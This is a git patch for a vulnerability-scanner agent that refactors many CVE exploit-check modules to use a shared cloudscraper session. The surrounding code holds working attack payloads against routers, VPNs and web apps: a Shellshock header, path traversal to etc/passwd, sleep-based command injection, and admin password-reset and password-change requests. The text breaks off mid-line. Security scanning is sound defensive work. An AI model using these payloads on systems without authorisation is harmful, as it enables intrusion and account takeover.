From e72ada7e3d436c9eaf0a5c3f62b48307866f48b7 Mon Sep 17 00:00:00 2001 From: ErebusZ Date: Tue, 22 Oct 2024 18:11:09 +0100 Subject: [PATCH 1/8] Refactor to use CloudScraper --- agent/asteroid_agent.py | 2 ++ agent/definitions.py | 13 +++++-- agent/exploits/cve_2014_0780.py | 18 ++++------ agent/exploits/cve_2014_7169.py | 11 ++---- agent/exploits/cve_2016_2386.py | 12 ++----- agent/exploits/cve_2018_10561.py | 13 ++----- agent/exploits/cve_2018_13382.py | 19 ++++------ agent/exploits/cve_2018_14558.py | 11 ++---- agent/exploits/cve_2018_14667.py | 14 +++----- agent/exploits/cve_2018_15133.py | 12 ++----- agent/exploits/cve_2018_7841.py | 12 ++----- agent/exploits/cve_2019_12989.py | 14 ++------ agent/exploits/cve_2019_7193.py | 26 ++++++-------- agent/exploits/cve_2020_14644.py | 10 +++--- agent/exploits/cve_2020_15415.py | 10 ++---- agent/exploits/cve_2021_22941.py | 15 +++----- agent/exploits/cve_2021_32648.py | 33 ++++++----------- agent/exploits/cve_2021_33044.py | 14 +++++--- agent/exploits/cve_2022_21445.py | 18 +++------- agent/exploits/cve_2022_24816.py | 5 ++- agent/exploits/cve_2022_26318.py | 12 ++----- agent/exploits/cve_2023_1389.py | 12 ++----- agent/exploits/cve_2023_22518.py | 11 ++---- agent/exploits/cve_2023_25280.py | 10 ++---- agent/exploits/cve_2023_27997.py | 20 +++++------ agent/exploits/cve_2023_36845.py | 13 ++----- agent/exploits/cve_2023_43770.py | 18 +++------- agent/exploits/cve_2023_48788.py | 7 ---- agent/exploits/cve_2023_49897.py | 11 ++---- agent/exploits/cve_2024_20419.py | 24 +++++++------ agent/exploits/cve_2024_21733.py | 11 ++---- agent/exploits/cve_2024_21762.py | 1 - agent/exploits/cve_2024_23113.py | 21 ++++++----- agent/exploits/cve_2024_23334.py | 13 ++----- agent/exploits/cve_2024_28986.py | 11 +++--- agent/exploits/cve_2024_4040.py | 11 ++---- agent/exploits/cve_2024_40711.py | 7 +--- agent/exploits/cve_2024_40725.py | 27 +++++++------- agent/exploits/cve_2024_43044.py | 11 +++--- agent/exploits/cve_2024_6745.py | 11 +++--- agent/exploits/cve_2024_7120.py | 21 +++++------ agent/exploits/cve_2024_8522.py | 5 ++- agent/exploits/cve_2024_8963.py | 12 +++---- agent/exploits/cve_2024_9487.py | 6 +--- agent/exploits/cve_2024_9634.py | 14 ++++---- .../exploits/exposed_docker_resgistry_api.py | 36 +++++++++---------- agent/exploits/jetpack_version_detection.py | 7 +--- agent/exploits/webexploit.py | 14 ++------ requirement.txt | 4 +-- 49 files changed, 233 insertions(+), 430 deletions(-) diff --git a/agent/asteroid_agent.py b/agent/asteroid_agent.py index 53ff0552..211d74b5 100644 --- a/agent/asteroid_agent.py +++ b/agent/asteroid_agent.py @@ -17,6 +17,8 @@ from agent import definitions from agent import exploits +MAX_REDIRECTS = 2 + logging.basicConfig( format="%(message)s", datefmt="[%X]", diff --git a/agent/definitions.py b/agent/definitions.py index f19e4c1f..edd8aa8b 100644 --- a/agent/definitions.py +++ b/agent/definitions.py @@ -6,13 +6,16 @@ from ostorlab.agent.kb import kb from ostorlab.agent.mixins import agent_report_vulnerability_mixin as vuln_mixin +import cloudscraper from agent.exploits import common +MAX_REDIRECTS = 2 + @dataclasses.dataclass class Target: - """Target dataclass""" + """Target dataclass.""" scheme: str host: str @@ -54,6 +57,10 @@ class VulnerabilityMetadata: class Exploit(abc.ABC): """Base Exploit""" + def __init__(self): + self.session = cloudscraper.create_scraper() + self.session.max_redirects = MAX_REDIRECTS + @abc.abstractmethod def accept(self, target: Target) -> bool: """Rule: heuristically detect if a specific target is valid. @@ -64,7 +71,7 @@ def accept(self, target: Target) -> bool: Returns: True if the target is valid; otherwise False. """ - pass + raise NotImplementedError() @abc.abstractmethod def check(self, target: Target) -> list[Vulnerability]: @@ -76,7 +83,7 @@ def check(self, target: Target) -> list[Vulnerability]: Returns: List of identified vulnerabilities. """ - pass + raise NotImplementedError() @property def __key__(self) -> str: diff --git a/agent/exploits/cve_2014_0780.py b/agent/exploits/cve_2014_0780.py index c893fb1e..add9e311 100644 --- a/agent/exploits/cve_2014_0780.py +++ b/agent/exploits/cve_2014_0780.py @@ -1,9 +1,9 @@ """Agent Asteroid implementation for CVE-2014_0780.""" -import requests +from requests import exceptions as requests_exceptions from ostorlab.agent.kb import kb from ostorlab.agent.mixins import agent_report_vulnerability_mixin -from requests import exceptions as requests_exceptions +import cloudscraper from agent import definitions from agent import exploits_registry @@ -28,30 +28,24 @@ class CVE20140780Exploit(definitions.Exploit): """ def accept(self, target: definitions.Target) -> bool: - session = requests.Session() - session.max_redirects = MAX_REDIRECTS - session.verify = False try: - session.get(target.origin, timeout=DEFAULT_TIMEOUT) + self.session.get(target.origin, timeout=DEFAULT_TIMEOUT) except requests_exceptions.RequestException: return False return True def check(self, target: definitions.Target) -> list[definitions.Vulnerability]: - session = requests.Session() - session.max_redirects = MAX_REDIRECTS - session.verify = False file_names = ["boot.ini", "etc/passwd"] for file_name in file_names: levels = "../" * DEPTH url = target.origin + f"/{levels}{file_name}" try: - r = requests.Request(method="GET", url=url) + r = cloudscraper.Request(method="GET", url=url) prep = r.prepare() prep.url = url - response = session.send(prep, timeout=DEFAULT_TIMEOUT) - except requests.exceptions.RequestException: + response = self.session.send(prep, timeout=DEFAULT_TIMEOUT) + except requests_exceptions.RequestException: return [] if response.status_code == 200 and "Sending file" in response.text: diff --git a/agent/exploits/cve_2014_7169.py b/agent/exploits/cve_2014_7169.py index 90d0b11c..cbd33a8d 100644 --- a/agent/exploits/cve_2014_7169.py +++ b/agent/exploits/cve_2014_7169.py @@ -1,6 +1,5 @@ """Agent Asteroid implementation for CVE-2014-7169""" -import requests from ostorlab.agent.kb import kb from ostorlab.agent.mixins import agent_report_vulnerability_mixin from requests import exceptions as requests_exceptions @@ -26,7 +25,6 @@ PAYLOAD_TEMPLATE = "() { :;}; /bin/bash -c 'sleep %s'" MAX_DELAY_DIFFERENCE = 5 DELAYS = [30, 40, 50, 60] -MAX_REDIRECTS = 2 @exploits_registry.register @@ -34,24 +32,19 @@ class CVE20147169Exploit(definitions.Exploit): """CVE-2014-7169: GNU Bourne-Again Shell (Bash) Arbitrary Code Execution Vulnerability.""" def accept(self, target: definitions.Target) -> bool: - session = requests.Session() - session.max_redirects = MAX_REDIRECTS - session.verify = False if target.path.endswith(".cgi") is False: return False try: - resp = session.get(target.url, timeout=DEFAULT_TIMEOUT) + resp = self.session.get(target.url, timeout=DEFAULT_TIMEOUT) except requests_exceptions.RequestException: return False return resp.status_code == 200 def check(self, target: definitions.Target) -> list[definitions.Vulnerability]: - session = requests.Session() - session.max_redirects = MAX_REDIRECTS for delay in DELAYS: payload = PAYLOAD_TEMPLATE % delay try: - resp = session.get( + resp = self.session.get( target.url, headers={ "User-Agent": payload, diff --git a/agent/exploits/cve_2016_2386.py b/agent/exploits/cve_2016_2386.py index 56664eb3..d615ead1 100644 --- a/agent/exploits/cve_2016_2386.py +++ b/agent/exploits/cve_2016_2386.py @@ -3,7 +3,6 @@ import re from urllib import parse as urlparse -import requests from ostorlab.agent.kb import kb from ostorlab.agent.mixins import agent_report_vulnerability_mixin from packaging import version @@ -43,7 +42,6 @@ """ PERMISSION_KEYWORD = "deletePermissionByIdResponse" -MAX_REDIRECTS = 2 @exploits_registry.register @@ -53,11 +51,8 @@ class CVE20162386Exploit(definitions.Exploit): """ def accept(self, target: definitions.Target) -> bool: - session = requests.Session() - session.max_redirects = MAX_REDIRECTS - session.verify = False try: - resp = session.get(target.origin, timeout=DEFAULT_TIMEOUT) + resp = self.session.get(target.origin, timeout=DEFAULT_TIMEOUT) except requests_exceptions.RequestException: return False server = resp.headers.get("server", "Unknown") @@ -68,11 +63,8 @@ def accept(self, target: definitions.Target) -> bool: return LOWER_VULNERABLE_VERSION <= target_version <= UPPER_VULNERABLE_VERSION def check(self, target: definitions.Target) -> list[definitions.Vulnerability]: - session = requests.Session() - session.max_redirects = MAX_REDIRECTS - session.verify = False try: - resp = session.post( + resp = self.session.post( urlparse.urljoin(target.origin, TARGET_ENDPOINT), headers=HEADERS, data=PAYLOAD, diff --git a/agent/exploits/cve_2018_10561.py b/agent/exploits/cve_2018_10561.py index 9db2f6d5..82b0b672 100644 --- a/agent/exploits/cve_2018_10561.py +++ b/agent/exploits/cve_2018_10561.py @@ -1,6 +1,5 @@ """Agent Asteroid implementation for CVE-2018-10561""" -import requests from ostorlab.agent.kb import kb from ostorlab.agent.mixins import agent_report_vulnerability_mixin from requests import exceptions as requests_exceptions @@ -24,11 +23,8 @@ class CVE201810562Exploit(definitions.Exploit): """CVE-2018-10562: Dasan GPON Routers Command Injection Vulnerability.""" def accept(self, target: definitions.Target) -> bool: - session = requests.Session() - session.max_redirects = MAX_REDIRECTS - session.verify = False try: - session.get(target.origin, timeout=DEFAULT_TIMEOUT) + self.session.get(target.origin, timeout=DEFAULT_TIMEOUT) except requests_exceptions.RequestException: return False @@ -36,9 +32,6 @@ def accept(self, target: definitions.Target) -> bool: return True def check(self, target: definitions.Target) -> list[definitions.Vulnerability]: - session = requests.Session() - session.max_redirects = MAX_REDIRECTS - session.verify = False data = { "XWebPageName": "diag", "diag_action": "ping", @@ -49,12 +42,12 @@ def check(self, target: definitions.Target) -> list[definitions.Vulnerability]: } try: - session.post( + self.session.post( target.origin + "/GponForm/diag_Form?images/", data=data, timeout=DEFAULT_TIMEOUT, ) - response = session.get( + response = self.session.get( target.origin + "/diag.html?images/", timeout=DEFAULT_TIMEOUT, ) diff --git a/agent/exploits/cve_2018_13382.py b/agent/exploits/cve_2018_13382.py index 4e82deb2..053e73e9 100644 --- a/agent/exploits/cve_2018_13382.py +++ b/agent/exploits/cve_2018_13382.py @@ -1,6 +1,6 @@ """Agent Asteroid implementation for CVE-2018-13382: Not tested on a live target.""" -import requests +from requests import exceptions as requests_exceptions from urllib3 import exceptions from urllib3 import disable_warnings from ostorlab.agent.mixins import agent_report_vulnerability_mixin @@ -19,7 +19,6 @@ "Connection": "close", "Upgrade-Insecure-Requests": "1", } -MAX_REDIRECTS = 2 @exploits_registry.register @@ -29,20 +28,14 @@ class CVE201813382Exploit(definitions.Exploit): """ def accept(self, target: definitions.Target) -> bool: - session = requests.Session() - session.max_redirects = MAX_REDIRECTS - session.verify = False try: url = f"{target.origin}/remote/login?lang=en" - r = session.get(url, headers=HEADERS, timeout=DEFAULT_TIMEOUT) - except requests.exceptions.RequestException: + r = self.session.get(url, headers=HEADERS, timeout=DEFAULT_TIMEOUT) + except requests_exceptions.RequestException: return False return r.status_code == 200 and "Please Login" in r.text def check(self, target: definitions.Target) -> list[definitions.Vulnerability]: - session = requests.Session() - session.max_redirects = MAX_REDIRECTS - session.verify = False url = f"{target.origin}/remote/login?lang=en" # we are trying to change the password for the user : admin data = { @@ -55,8 +48,10 @@ def check(self, target: definitions.Target) -> list[definitions.Vulnerability]: "credential2": "ChangePassword", } try: - res = session.post(url, headers=HEADERS, data=data, timeout=DEFAULT_TIMEOUT) - except requests.exceptions.RequestException: + res = self.session.post( + url, headers=HEADERS, data=data, timeout=DEFAULT_TIMEOUT + ) + except requests_exceptions.RequestException: return [] if res.status_code == 200 and "redir=/remote/hostcheck_install" in res.text: diff --git a/agent/exploits/cve_2018_14558.py b/agent/exploits/cve_2018_14558.py index f853cca6..08b4a7f0 100644 --- a/agent/exploits/cve_2018_14558.py +++ b/agent/exploits/cve_2018_14558.py @@ -1,6 +1,5 @@ """Agent Asteroid implementation for CVE-2018-14558""" -import requests from ostorlab.agent.kb import kb from ostorlab.agent.mixins import agent_report_vulnerability_mixin from requests import exceptions as requests_exceptions @@ -22,7 +21,6 @@ TARGET_PATH = "/goform/setUsbUnload/.js?deviceName=A;" MAX_DELAY_DIFFERENCE = 5 DELAYS = [30, 40, 50, 60] -MAX_REDIRECTS = 2 @exploits_registry.register @@ -30,21 +28,16 @@ class CVE201814558Exploit(definitions.Exploit): """CVE-2018-14558: Tenda AC7, AC9, and AC10 Routers Command Injection Vulnerability""" def accept(self, target: definitions.Target) -> bool: - session = requests.Session() - session.max_redirects = MAX_REDIRECTS - session.verify = False try: - resp = session.get(target.origin, timeout=DEFAULT_TIMEOUT) + resp = self.session.get(target.origin, timeout=DEFAULT_TIMEOUT) except requests_exceptions.RequestException: return False return resp.status_code == 200 def check(self, target: definitions.Target) -> list[definitions.Vulnerability]: - session = requests.Session() - session.max_redirects = MAX_REDIRECTS for delay in DELAYS: try: - resp = session.get(target.origin + TARGET_PATH + f"sleep {delay}") + resp = self.session.get(target.origin + TARGET_PATH + f"sleep {delay}") except requests_exceptions.RequestException: return [] elapsed = resp.elapsed.seconds diff --git a/agent/exploits/cve_2018_14667.py b/agent/exploits/cve_2018_14667.py index 2ec648ab..aa81011e 100644 --- a/agent/exploits/cve_2018_14667.py +++ b/agent/exploits/cve_2018_14667.py @@ -2,11 +2,10 @@ import re -import requests +from requests import exceptions as requests_exceptions from ostorlab.agent.kb import kb from ostorlab.agent.mixins import agent_report_vulnerability_mixin from packaging import version -from requests import exceptions as requests_exceptions from agent import definitions from agent import exploits_registry @@ -35,11 +34,8 @@ class CVE201814667Exploit(definitions.Exploit): """ def accept(self, target: definitions.Target) -> bool: - session = requests.Session() - session.max_redirects = MAX_REDIRECTS - session.verify = False try: - resp = session.get(target.origin, timeout=DEFAULT_TIMEOUT) + resp = self.session.get(target.origin, timeout=DEFAULT_TIMEOUT) except requests_exceptions.RequestException: return False @@ -51,14 +47,12 @@ def accept(self, target: definitions.Target) -> bool: return JST_PATTERN.search(jsf_header) is not None def check(self, target: definitions.Target) -> list[definitions.Vulnerability]: - session = requests.Session() - session.max_redirects = MAX_REDIRECTS try: - resp = session.get( + resp = self.session.get( target.origin, timeout=DEFAULT_TIMEOUT, ) - except requests.exceptions.RequestException: + except requests_exceptions.RequestException: return [] if resp.status_code != 200: diff --git a/agent/exploits/cve_2018_15133.py b/agent/exploits/cve_2018_15133.py index b67c7ff6..f36a71b0 100644 --- a/agent/exploits/cve_2018_15133.py +++ b/agent/exploits/cve_2018_15133.py @@ -3,7 +3,6 @@ import re from urllib import parse as urlparse -import requests from ostorlab.agent.kb import kb from ostorlab.agent.mixins import agent_report_vulnerability_mixin from packaging import version @@ -30,7 +29,6 @@ LOWER_VULNERABLE_VERSION = version.parse("5.6.0") UPPER_VULNERABLE_VERSION = version.parse("5.6.29") STRICT_VULNERABLE_VERSION = version.parse("5.5.40") -MAX_REDIRECTS = 2 @exploits_registry.register @@ -40,21 +38,15 @@ class CVE201815133Exploit(definitions.Exploit): """ def accept(self, target: definitions.Target) -> bool: - session = requests.Session() - session.max_redirects = MAX_REDIRECTS - session.verify = False try: - session.get(target.origin, timeout=DEFAULT_TIMEOUT) + self.session.get(target.origin, timeout=DEFAULT_TIMEOUT) except requests_exceptions.RequestException: return False return True def check(self, target: definitions.Target) -> list[definitions.Vulnerability]: - session = requests.Session() - session.max_redirects = MAX_REDIRECTS - session.verify = False try: - resp = session.get( + resp = self.session.get( urlparse.urljoin(target.origin, TARGET_ENDPOINT), timeout=DEFAULT_TIMEOUT, ) diff --git a/agent/exploits/cve_2018_7841.py b/agent/exploits/cve_2018_7841.py index 1d329691..7487fe5a 100644 --- a/agent/exploits/cve_2018_7841.py +++ b/agent/exploits/cve_2018_7841.py @@ -1,6 +1,5 @@ """Agent Asteroid implementation for CVE-2018-7841""" -import requests from ostorlab.agent.kb import kb from ostorlab.agent.mixins import agent_report_vulnerability_mixin from requests import exceptions as requests_exceptions @@ -19,7 +18,6 @@ MAX_DELAY_DIFFERENCE = 5 DELAYS = [30, 40, 50, 60] TARGET_ENDPOINT = "/smartdomuspad/modules/reporting/track_import_export.php" -MAX_REDIRECTS = 2 @exploits_registry.register @@ -29,23 +27,17 @@ class CVE20187841Exploit(definitions.Exploit): """ def accept(self, target: definitions.Target) -> bool: - session = requests.Session() - session.max_redirects = MAX_REDIRECTS - session.verify = False try: - resp = session.get(target.origin, timeout=DEFAULT_TIMEOUT) + resp = self.session.get(target.origin, timeout=DEFAULT_TIMEOUT) except requests_exceptions.RequestException: return False return resp.status_code == 200 def check(self, target: definitions.Target) -> list[definitions.Vulnerability]: - session = requests.Session() - session.max_redirects = MAX_REDIRECTS - for delay in DELAYS: data = f"op=export&language=english&interval=1&object_id=`sleep {delay}`" try: - resp = session.post( + resp = self.session.post( target.origin + TARGET_ENDPOINT, timeout=DEFAULT_TIMEOUT, data=data, diff --git a/agent/exploits/cve_2019_12989.py b/agent/exploits/cve_2019_12989.py index c478d02d..cfb43a6e 100644 --- a/agent/exploits/cve_2019_12989.py +++ b/agent/exploits/cve_2019_12989.py @@ -4,7 +4,6 @@ import random import logging -import requests from requests import exceptions as requests_exceptions from urllib3 import exceptions from urllib3 import disable_warnings @@ -18,7 +17,6 @@ DEFAULT_TIMEOUT = 90 HEADERS = {"SSL_CLIENT_VERIFY": "SUCCESS"} -MAX_REDIRECTS = 2 logger = logging.getLogger(__name__) @@ -30,19 +28,13 @@ class CVE201912989Exploit(definitions.Exploit): """ def accept(self, target: definitions.Target) -> bool: - session = requests.Session() - session.max_redirects = MAX_REDIRECTS - session.verify = False try: - session.get(target.origin, timeout=DEFAULT_TIMEOUT) + self.session.get(target.origin, timeout=DEFAULT_TIMEOUT) except requests_exceptions.RequestException: return False return True def check(self, target: definitions.Target) -> list[definitions.Vulnerability]: - session = requests.Session() - session.max_redirects = MAX_REDIRECTS - session.verify = False url = ( f"{target.origin}" f"/sdwan/nitro/v1/config/get_package_file?action=file_download" @@ -60,10 +52,10 @@ def check(self, target: definitions.Target) -> list[definitions.Vulnerability]: } } try: - r = session.post( + r = self.session.post( url, headers=HEADERS, json=json_object, timeout=DEFAULT_TIMEOUT ) - except requests.exceptions.RequestException as e: + except requests_exceptions.RequestException as e: logger.error("Error : %s", e) return [] # error is expected diff --git a/agent/exploits/cve_2019_7193.py b/agent/exploits/cve_2019_7193.py index 1615d1cb..54f58be4 100644 --- a/agent/exploits/cve_2019_7193.py +++ b/agent/exploits/cve_2019_7193.py @@ -2,10 +2,9 @@ import re -import requests +from requests import exceptions as requests_exceptions from ostorlab.agent.kb import kb from ostorlab.agent.mixins import agent_report_vulnerability_mixin -from requests import exceptions as requests_exceptions from agent import definitions from agent import exploits_registry @@ -20,7 +19,6 @@ DEFAULT_TIMEOUT = 90 HEADERS = {"User-Agent": "Gundy - QNAP RCE"} TARGET_FILE = "./../../../../../etc/passwd" -MAX_REDIRECTS = 2 @exploits_registry.register @@ -30,28 +28,24 @@ class CVE20197193Exploit(definitions.Exploit): """ def accept(self, target: definitions.Target) -> bool: - session = requests.Session() - session.max_redirects = MAX_REDIRECTS - session.verify = False try: - resp = session.get(target.origin + "/cgi-bin/", timeout=DEFAULT_TIMEOUT) + resp = self.session.get( + target.origin + "/cgi-bin/", timeout=DEFAULT_TIMEOUT + ) except requests_exceptions.RequestException: return False return resp.status_code == 200 def check(self, target: definitions.Target) -> list[definitions.Vulnerability]: - session = requests.Session() - session.max_redirects = MAX_REDIRECTS - session.verify = False try: # Get album id - resp = session.post( + resp = self.session.post( target.origin + "/photo/p/api/album.php", data={"a": "setSlideshow", "f": "qsamplealbum"}, headers=HEADERS, timeout=DEFAULT_TIMEOUT, ) - except requests.exceptions.RequestException: + except requests_exceptions.RequestException: return [] album_match = re.search("(?<=).*?(?=)", resp.text) if album_match is None: @@ -60,12 +54,12 @@ def check(self, target: definitions.Target) -> list[definitions.Vulnerability]: try: # Get access code - resp = session.get( + resp = self.session.get( target.origin + "/photo/slideshow.php?album=" + album_id, headers=HEADERS, timeout=DEFAULT_TIMEOUT, ) - except requests.exceptions.RequestException: + except requests_exceptions.RequestException: return [] if resp.status_code != 200: return [] @@ -83,13 +77,13 @@ def check(self, target: definitions.Target) -> list[definitions.Vulnerability]: "filename": TARGET_FILE, } try: - resp = session.post( + resp = self.session.post( target.origin + "/photo/p/api/video.php", data=post_data, headers=HEADERS, timeout=DEFAULT_TIMEOUT, ) - except requests.exceptions.TooManyRedirects: + except requests_exceptions.TooManyRedirects: return [] if b"/bin/sh" not in resp.content: diff --git a/agent/exploits/cve_2020_14644.py b/agent/exploits/cve_2020_14644.py index aa41fc5c..592a7a30 100644 --- a/agent/exploits/cve_2020_14644.py +++ b/agent/exploits/cve_2020_14644.py @@ -5,7 +5,6 @@ from packaging import version from requests import exceptions as requests_exceptions -import requests from agent.exploits import webexploit from agent import exploits_registry @@ -23,7 +22,6 @@ version.parse("14.1.1.0.0"), ] -MAX_REDIRECTS = 2 DEFAULT_TIMEOUT = 90 @@ -41,7 +39,9 @@ class CVE202014644Exploit(webexploit.WebExploit): def accept(self, target: definitions.Target) -> bool: """Override the accept method to check for WebLogic in the Server header.""" try: - response = requests.get(target.url, timeout=DEFAULT_TIMEOUT, verify=False) + response = self.session.get( + target.url, timeout=DEFAULT_TIMEOUT, verify=False + ) return "WebLogic" in response.headers.get("Server", "") except requests_exceptions.RequestException as e: logging.warning("Request exception in accept method: %s", e) @@ -58,7 +58,7 @@ def check(self, target: definitions.Target) -> list[definitions.Vulnerability]: """ vulnerabilities = [] try: - response = requests.get(target.url, timeout=10, verify=False) + response = self.session.get(target.url, timeout=10, verify=False) server_header = response.headers.get("Server", "") match = re.search(r"WebLogic Server (\d+\.\d+\.\d+\.\d+)", server_header) @@ -66,7 +66,7 @@ def check(self, target: definitions.Target) -> list[definitions.Vulnerability]: extracted_version = version.parse(match.group(1)) if extracted_version in VULNERABLE_VERSIONS: vulnerabilities.append(self._create_vulnerability(target)) - except requests.RequestException as e: + except requests_exceptions.RequestException as e: logging.warning("Request exception in check method: %s", e) except version.InvalidVersion as e: logging.warning("Invalid version encountered: %s", e) diff --git a/agent/exploits/cve_2020_15415.py b/agent/exploits/cve_2020_15415.py index 90c2e85b..b8290f82 100644 --- a/agent/exploits/cve_2020_15415.py +++ b/agent/exploits/cve_2020_15415.py @@ -4,7 +4,7 @@ import re from urllib import parse as urlparse -import requests +from requests import exceptions as requests_exceptions from agent import definitions from agent import exploits_registry @@ -15,7 +15,6 @@ VULNERABILITY_DESCRIPTION = """A command injection vulnerability exists in the cgi-bin/mainfunction.cgi/cvmcfgupload endpoint of DrayTek Vigor3900, Vigor2960, and Vigor300B devices before version 1.5.1, allowing remote code execution via shell metacharacters in a filename.""" RISK_RATING = "CRITICAL" -MAX_REDIRECTS = 2 DEFAULT_TIMEOUT = 90 UNIQUE_VALUE = "34ec96cf-d6f1-428a-b955-95080d0536e5" @@ -42,9 +41,6 @@ def check(self, target: definitions.Target) -> list[definitions.Vulnerability]: Returns: List of identified vulnerabilities. """ - session = requests.Session() - session.max_redirects = MAX_REDIRECTS - session.verify = False target_endpoint = urlparse.urljoin(target.origin, self.check_request.path) @@ -55,7 +51,7 @@ def check(self, target: definitions.Target) -> list[definitions.Vulnerability]: ------WebKitFormBoundary--""" try: - resp = session.post( + resp = self.session.post( target_endpoint, data=payload, timeout=DEFAULT_TIMEOUT, @@ -63,7 +59,7 @@ def check(self, target: definitions.Target) -> list[definitions.Vulnerability]: "Content-Type": "multipart/form-data; boundary=----WebKitFormBoundary" }, ) - except requests.RequestException as e: + except requests_exceptions.RequestException as e: logging.error("HTTP Request failed: %s", e) return [] diff --git a/agent/exploits/cve_2021_22941.py b/agent/exploits/cve_2021_22941.py index 49cda3d6..78b5507a 100644 --- a/agent/exploits/cve_2021_22941.py +++ b/agent/exploits/cve_2021_22941.py @@ -1,9 +1,9 @@ """Agent Asteroid implementation for CVE-2021-22941""" -import requests from ostorlab.agent.kb import kb from ostorlab.agent.mixins import agent_report_vulnerability_mixin from requests import exceptions as requests_exceptions + from agent import definitions from agent import exploits_registry @@ -17,7 +17,6 @@ ) DEFAULT_TIMEOUT = 90 -MAX_REDIRECTS = 2 def _encode_multipart_formdata(files: dict[str, str]) -> tuple[str, str]: @@ -37,19 +36,13 @@ class CVE20212941Exploit(definitions.Exploit): """CVE-2021-22941: Improper Access Control in Citrix ShareFile storage zones controller.""" def accept(self, target: definitions.Target) -> bool: - session = requests.Session() - session.max_redirects = MAX_REDIRECTS - session.verify = False try: - req = session.get(target.origin, timeout=DEFAULT_TIMEOUT) + req = self.session.get(target.origin, timeout=DEFAULT_TIMEOUT) except requests_exceptions.RequestException: return False return "ShareFile" in req.text def check(self, target: definitions.Target) -> list[definitions.Vulnerability]: - session = requests.Session() - session.max_redirects = MAX_REDIRECTS - session.verify = False content_file = "A" * 4096 files = {"name": "text4", "filename": "text5", "content_file": content_file} data, content_type = _encode_multipart_formdata(files) @@ -61,14 +54,14 @@ def check(self, target: definitions.Target) -> list[definitions.Vulnerability]: "accountid": "123", } try: - session.post( + self.session.post( target.origin + "/upload.aspx", data=data, params=params, headers=headers, timeout=DEFAULT_TIMEOUT, ) - req = session.get( + req = self.session.get( target.origin + "/configservice/Home/Error", timeout=DEFAULT_TIMEOUT, ) diff --git a/agent/exploits/cve_2021_32648.py b/agent/exploits/cve_2021_32648.py index b52814e7..b4bc5d38 100644 --- a/agent/exploits/cve_2021_32648.py +++ b/agent/exploits/cve_2021_32648.py @@ -6,7 +6,7 @@ from typing import Optional import re -import requests +from requests import exceptions as requests_exceptions from urllib3 import exceptions from urllib3 import disable_warnings from ostorlab.agent.mixins import agent_report_vulnerability_mixin @@ -22,7 +22,6 @@ PASSWORD_PATH = "/backend/backend/auth/reset/1" SIGNIN_PATH = "/backend/backend/auth/signin" FAILED_LOGIN = "The details you entered did not match our records. Please double-check and try again." -MAX_REDIRECTS = 2 logger = logging.getLogger(__name__) @@ -34,11 +33,9 @@ class CVE202132648Exploit(definitions.Exploit): """ def accept(self, target: definitions.Target) -> bool: - session = requests.Session() - session.max_redirects = MAX_REDIRECTS try: - r = session.get(target.origin, timeout=DEFAULT_TIMEOUT) - except requests.exceptions.RequestException: + r = self.session.get(target.origin, timeout=DEFAULT_TIMEOUT) + except requests_exceptions.RequestException: return False return r.status_code == 200 and "october_session" in r.headers.get( "Set-Cookie", "" @@ -57,12 +54,10 @@ def check(self, target: definitions.Target) -> list[definitions.Vulnerability]: def _get_csrf(self, url: str) -> Optional[str]: """Connect to Host and read the CSRF token so we can use it in POSTS""" - session = requests.Session() - session.max_redirects = MAX_REDIRECTS csrf_pattern = b'' try: - csrf_request = session.get(f"{url}{RESET_PATH}") - except requests.exceptions.RequestException: + csrf_request = self.session.get(f"{url}{RESET_PATH}") + except requests_exceptions.RequestException: return None if csrf_request.status_code == 200: @@ -74,17 +69,15 @@ def _get_csrf(self, url: str) -> Optional[str]: def _trigger_reset(self, url: str) -> bool: """Trigger a Password Reset Request for the admin account""" - session = requests.Session() - session.max_redirects = MAX_REDIRECTS reset_url = f"{url}{RESET_PATH}" csrf_token = self._get_csrf(url) if csrf_token is not None: post_data = {"_token": csrf_token, "postback": 1, "login": "admin"} try: - reset_request = session.post( + reset_request = self.session.post( reset_url, data=post_data, timeout=DEFAULT_TIMEOUT ) - except requests.exceptions.RequestException: + except requests_exceptions.RequestException: return False if reset_request.status_code == 200: @@ -93,8 +86,6 @@ def _trigger_reset(self, url: str) -> bool: def _login_attempt(self, url: str) -> bool: """checks if we can log in with the admin account.""" - session = requests.Session() - session.max_redirects = MAX_REDIRECTS login_url = f"{url}{SIGNIN_PATH}" csrf_token = self._get_csrf(url) if csrf_token is not None: @@ -105,10 +96,10 @@ def _login_attempt(self, url: str) -> bool: "password": "changePassword", } try: - login_request = session.post( + login_request = self.session.post( login_url, data=post_data, timeout=DEFAULT_TIMEOUT ) - except requests.exceptions.RequestException: + except requests_exceptions.RequestException: return False if ( @@ -120,8 +111,6 @@ def _login_attempt(self, url: str) -> bool: def _set_password(self, url: str) -> bool: """Send a request to set the admin password that will bypass the token checking""" - session = requests.Session() - session.max_redirects = MAX_REDIRECTS # Generate a random string of len 42 to spoof a reset token chars = string.ascii_uppercase + string.digits + string.ascii_lowercase random_string = "".join(random.choice(chars) for _ in range(42)) @@ -136,14 +125,14 @@ def _set_password(self, url: str) -> bool: "password": "changePassword", } try: - reset_request = session.post( + reset_request = self.session.post( reset_url, verify=False, headers={"Content-Type": "application/json"}, json=post_data, timeout=DEFAULT_TIMEOUT, ) - except requests.exceptions.RequestException: + except requests_exceptions.RequestException: return False if reset_request.status_code == 200: diff --git a/agent/exploits/cve_2021_33044.py b/agent/exploits/cve_2021_33044.py index b1f2ed36..109a7056 100644 --- a/agent/exploits/cve_2021_33044.py +++ b/agent/exploits/cve_2021_33044.py @@ -2,7 +2,6 @@ import re import json -import requests import logging from agent.exploits import webexploit @@ -21,7 +20,9 @@ logger = logging.getLogger(__name__) -def _send_payload(target: definitions.Target) -> bytes | None: +def _format_payload( + target: definitions.Target, +) -> tuple[str, dict[str, str], dict[str, str]]: post_url = f"{target.url}RPC2_Login" headers = { "Accept": "application/json, text/javascript, */*; q=0.01", @@ -49,8 +50,7 @@ def _send_payload(target: definitions.Target) -> bytes | None: "session": 0, } - response = requests.post(post_url, headers=headers, json=post_json, verify=False) - return response.content + return post_url, headers, post_json @exploits_registry.register @@ -79,7 +79,11 @@ def check(self, target: definitions.Target) -> list[definitions.Vulnerability]: List of identified vulnerabilities. """ vulnerabilities: list[definitions.Vulnerability] = [] - response_content = _send_payload(target) + post_url, headers, post_json = _format_payload(target) + + response_content = self.session.post( + post_url, headers=headers, json=post_json, verify=False + ) if response_content is not None: try: diff --git a/agent/exploits/cve_2022_21445.py b/agent/exploits/cve_2022_21445.py index 4a84ff42..c6fc8fda 100644 --- a/agent/exploits/cve_2022_21445.py +++ b/agent/exploits/cve_2022_21445.py @@ -1,10 +1,10 @@ """Agent Asteroid implementation for CVE-2022-21445.""" +from urllib import parse as 